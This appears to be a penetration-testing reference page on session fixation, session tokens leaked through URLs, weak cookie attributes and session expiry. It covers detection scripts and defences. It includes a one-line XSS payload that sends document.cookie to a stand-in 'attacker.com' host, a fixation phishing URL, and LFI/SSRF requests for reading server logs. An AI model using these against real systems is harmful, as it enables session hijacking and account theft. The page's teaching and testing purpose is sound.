Session fixation & token exposure
A session token should change at every privilege boundary (login, logout, role change). Tokens that don’t, combined with applications that accept attacker-chosen tokens, create session fixation. Token-in-URL and weak cookie attributes are the related leak paths.
# Session fixation - application accepts attacker-supplied tokenGET /?SESSIONID=ATTACKER_CHOSEN → app sets SESSIONID=ATTACKER_CHOSENvictim then logs in → SESSIONID unchanged (BUG)attacker uses SESSIONID=ATTACKER_CHOSEN → now logged in as victim
# Token in URL - leaks via Refererhttps://app.com/dashboard?token=abc123 → user clicks external link → Referer header leaks token to external site
# Insecure cookie attributesSet-Cookie: SESSIONID=... ← missing HttpOnly (XSS-stealable)Set-Cookie: SESSIONID=... ← missing Secure (HTTP-interceptable)Set-Cookie: SESSIONID=... ← missing SameSite (CSRF-vulnerable)Success indicator: operator gains access to a session they shouldn’t have - either by fixing it in advance and waiting for the victim to log in, or by stealing it through one of the leak paths.
Session fixation - the attack
Section titled “Session fixation - the attack”The attacker pre-sets a session token to a value they know, then waits for the victim to authenticate using that token. After authentication, the same token now represents an authenticated session - and the attacker still has the token.
Vulnerable flow
Section titled “Vulnerable flow”1. Attacker visits /login?SESSIONID=knownvalue → application sets Cookie: SESSIONID=knownvalue on attacker's browser
2. Attacker phishes victim with the same URL → application reuses Cookie: SESSIONID=knownvalue on victim's browser
3. Victim logs in normally → application authenticates, BUT does not rotate SESSIONID
4. Attacker uses Cookie: SESSIONID=knownvalue → application treats request as victim's authenticated sessionThe bug is in step 3 - the application should issue a new session ID at the moment of login. When it doesn’t, the pre-shared session ID gets “upgraded” to authenticated status.
Required conditions for fixation
Section titled “Required conditions for fixation”For fixation to work, two conditions both need to hold:
- The application accepts attacker-influenced session tokens - usually through a URL parameter (
?SESSIONID=...) that the application copies into a cookie - The application does not rotate the session token at login - the token stays the same before and after authentication
Modern frameworks (Spring Security, ASP.NET, Django, Rails) regenerate session IDs at login by default. The bug appears in custom session handling or older frameworks where the behavior isn’t default.
Detection
Section titled “Detection”# Step 1 - get an unauthenticated session tokencurl -s -c /tmp/c1.txt https://<TARGET>/ > /dev/nullPRE=$(grep SESSIONID /tmp/c1.txt | awk '{print $7}')
# Step 2 - log in using that same session tokencurl -s -b /tmp/c1.txt -c /tmp/c2.txt \ -X POST -d "user=yourself&pass=yourPass" \ https://<TARGET>/login > /dev/nullPOST=$(grep SESSIONID /tmp/c2.txt | awk '{print $7}')
# Step 3 - compareecho "Pre-login: $PRE"echo "Post-login: $POST"if [ "$PRE" = "$POST" ]; then echo "[!] Session ID did not rotate - fixation possible"else echo "[+] Session ID rotated - fixation not feasible at this endpoint"fiURL-parameter fixation
Section titled “URL-parameter fixation”The classic attack vector - application accepts session ID from URL:
https://target.example.com/?SESSIONID=anyrandomvalueVulnerable response:
HTTP/1.1 302 FoundSet-Cookie: SESSIONID=anyrandomvalue ← honored the URL parameterLocation: /loginThe application reads SESSIONID from the URL, sets it as a cookie, and bounces to the login page. After the user logs in with this pre-set session ID, the attacker can use the same ID.
Exploitation
Section titled “Exploitation”The phishing payload is just a URL with the chosen session ID:
https://target.example.com/?SESSIONID=ATTACKER_KNOWN_VALUESend this to the victim through any channel that gets them to click. After they log in, the attacker’s session - using the same SESSIONID - is now authenticated as the victim.
Defending against fixation
Section titled “Defending against fixation”Two-part fix:
- Don’t accept session IDs from URL parameters
- Always rotate the session ID at login (and at any other privilege boundary)
The first prevents the attacker from controlling the initial session ID. The second prevents the pre-login ID from being meaningful even if the attacker manages to set it through another means (e.g., XSS, MITM).
Token in URL
Section titled “Token in URL”Session tokens, password-reset tokens, or API tokens in URL parameters leak through several channels:
https://app.example.com/dashboard?session=abc123https://app.example.com/reset?token=xyz789Leak vector 1 - Referer header
Section titled “Leak vector 1 - Referer header”When the user clicks an external link from a page that contains the token in the URL, the browser sends the full source URL as the Referer header:
GET /external-link HTTP/1.1Host: external-site.comReferer: https://app.example.com/dashboard?session=abc123 ← leakedThe external site’s server logs now contain the token. Defenders against this:
<!-- HTML attribute that prevents Referer leak per link --><a href="https://external.com" rel="noreferrer">link</a>
<!-- Page-wide policy --><meta name="referrer" content="strict-origin-when-cross-origin">Modern browsers default to strict-origin-when-cross-origin, which strips the path and query from the Referer when crossing origins. The leak is reduced but not eliminated - same-origin links still pass the full URL.
Leak vector 2 - Server logs
Section titled “Leak vector 2 - Server logs”Web servers (Apache, Nginx, ALB, etc.) log the full request URL by default - including any query parameters:
192.168.1.1 - - [11/May/2026:20:00:00 +0000] "GET /dashboard?session=abc123 HTTP/1.1" 200 1234Anyone with log access - system administrator, log-aggregation service, compromised log-shipping pipeline - has every token that’s ever been in a URL.
Leak vector 3 - Browser history
Section titled “Leak vector 3 - Browser history”The full URL is stored in browser history. A shared workstation, browser-history-syncing across devices, or browser-extension access exposes the token.
Leak vector 4 - Analytics / third-party scripts
Section titled “Leak vector 4 - Analytics / third-party scripts”JavaScript on the page sends URL information to analytics providers, error trackers, customer-support tools, etc. Every third-party script with document.location access receives the token.
Exploitation
Section titled “Exploitation”If the application puts tokens in URLs, the attacker’s job is to reach one of the leak paths:
# Find LFI / SSRF reaching log files# (separate vulnerability classes - see SSRF and File Inclusion pages)GET /admin/logs/access.logGET /api/fetch?url=file:///var/log/nginx/access.log
# Compromise the analytics dashboard# (whatever analytics provider - credentials in pastebin, leaked accounts)
# Compromise a third-party script# (subdomain takeover, abandoned CDN, npm package supply chain)For pentest scope, even just demonstrating that tokens are in URLs is a finding - the leak paths are then a question of “how easy is it to reach the logs” rather than “is this vulnerable.”
Detection - find tokens in URLs
Section titled “Detection - find tokens in URLs”# Crawl the application and look for URLs with token-shaped parameters# (32+ char alphanumeric strings, signed strings, etc.)curl -s https://<TARGET>/ | grep -oE 'https?://[^"]*[?&](token|session|key)=[^&"]+'
# Or check the URL bar after specific actions:# - After password reset: does the new-password URL contain the token?# - After "share link" features: do the share URLs contain authentication?# - After OAuth flow: does the callback URL keep the auth code?OAuth callback URLs are the canonical example - they put the auth code in the URL by design, and the spec accepts this risk explicitly. Real OAuth implementations need to immediately exchange the code (short-lived) for an access token rather than letting the code persist anywhere it might leak.
Cookie security attributes
Section titled “Cookie security attributes”Even when the session ID rotates correctly and isn’t in URLs, weak cookie attributes enable theft:
Set-Cookie: SESSIONID=abc123; HttpOnly; Secure; SameSite=Strict └─────value─────┘ │ │ └─ cross-site │ └─ HTTPS only └─ no JS accessHttpOnly
Section titled “HttpOnly”Prevents JavaScript (document.cookie) from reading the cookie. The defense against XSS-driven cookie theft.
Missing HttpOnly + XSS = full session takeover via:
new Image().src = "https://attacker.com/steal?c=" + document.cookie;Even a small reflected XSS becomes a session-stealing primitive when HttpOnly is missing.
Secure
Section titled “Secure”Restricts the cookie to HTTPS connections. Without it, a user who briefly hits an http:// URL (typo’d address, downgrade attack, mixed content) sends the cookie over plaintext - interceptable by anyone on the network path.
Less critical now that HSTS and HTTPS-everywhere are the norm, but still worth checking. Production apps should be using Secure on every authentication-related cookie.
SameSite
Section titled “SameSite”Controls cross-site cookie inclusion. Three values:
| Value | Behavior |
|---|---|
Strict | Cookie only sent on same-site requests (highest security, breaks some legitimate cross-site flows) |
Lax | Cookie sent on top-level navigations (clicking a link) but not on cross-site POSTs, iframes, etc. (browser default) |
None | Cookie sent on all cross-site requests (must be paired with Secure) |
Missing SameSite (or set to None) enables CSRF attacks - attacker’s site can cause the user’s browser to send authenticated requests to the target. Modern browsers default to Lax if not specified, so the bug is less common than it used to be but still appears.
Detection
Section titled “Detection”# Examine the Set-Cookie headerscurl -s -I -X POST -d "user=yourself&pass=yourPass" https://<TARGET>/login | grep -i set-cookieA secure cookie looks like:
Set-Cookie: SESSIONID=abc123; Domain=app.example.com; Path=/; HttpOnly; Secure; SameSite=Lax; Expires=...Missing any of HttpOnly, Secure, SameSite → finding.
Path and Domain
Section titled “Path and Domain”Two more attributes worth knowing:
Domain=- too-broad domain (.example.cominstead ofapp.example.com) sends the cookie to sister applications that don’t need itPath=-Path=/sends to all paths; restricting to/appreduces exposure
Generally minor unless the application has known-vulnerable sibling apps on related subdomains.
Concurrent sessions
Section titled “Concurrent sessions”A separate but related concern - should a user be allowed to be logged in from two places at once?
User logs in from laptop → SESSIONID=A issuedUser logs in from phone → SESSIONID=B issuedBoth sessions remain validAllowing concurrent sessions is the default for almost every web app and isn’t usually a finding. But for high-security applications (banking, admin panels), the more secure behavior is to invalidate the previous session when a new one is created - protecting against stolen-credential scenarios.
When testing, document the behavior:
# Log in from "browser 1"curl -c /tmp/b1.txt -X POST -d "user=x&pass=y" https://<TARGET>/login
# Log in from "browser 2"curl -c /tmp/b2.txt -X POST -d "user=x&pass=y" https://<TARGET>/login
# Test whether browser 1's session is still validcurl -b /tmp/b1.txt https://<TARGET>/dashboard# - Dashboard loads → concurrent sessions allowed# - Redirect to login → only one session at a time (more secure)Lifetime and timeout
Section titled “Lifetime and timeout”Session tokens should expire:
- After a period of inactivity (sliding window) - common: 15 minutes to 1 hour
- After a total time regardless of activity (absolute) - common: 8 hours to 24 hours
Never-expiring sessions are bad - they outlive job changes, device theft, compromised credentials. Detection:
# Log in, capture cookie, wait a long time, retry# If the session still works after 24+ hours of inactivity → no inactivity expiryAbsolute expiry is harder to test in an engagement (you’d need to wait a day). The application’s documentation, or the cookie’s Expires / Max-Age attribute, usually states the intent.
JWT specific issues
Section titled “JWT specific issues”JWT tokens have their own characteristic issues that share some surface with the cookie-attribute discussion above. See JWT for the dedicated treatment.
- Session fixation is mostly a legacy bug. Frameworks have defaulted to “rotate session ID on login” for over a decade. The bug appears in custom session handling, very old apps, or apps that disabled the default for performance reasons. Always check anyway - it’s a single test.
- Token in URL is more common than fixation. Reset links, magic links, share links, OAuth callbacks all use URLs deliberately. The job is to identify which of those are session-relevant (versus genuinely one-shot) and check the leak paths.
- The HTTP request shape often tells the whole story. A single Burp capture of “login submitted → session cookie set” usually answers: was the pre-login session retained? Is the cookie marked HttpOnly/Secure/SameSite? Does the URL contain the token? Five seconds of reading vs. running a dozen tools.
- For HSTS testing, look at “first visit” not the steady state. Modern browsers cache HSTS, so subsequent visits are HTTPS-only regardless of cookie attributes. The exposure window is the very first visit to the domain - exactly when
Securematters most.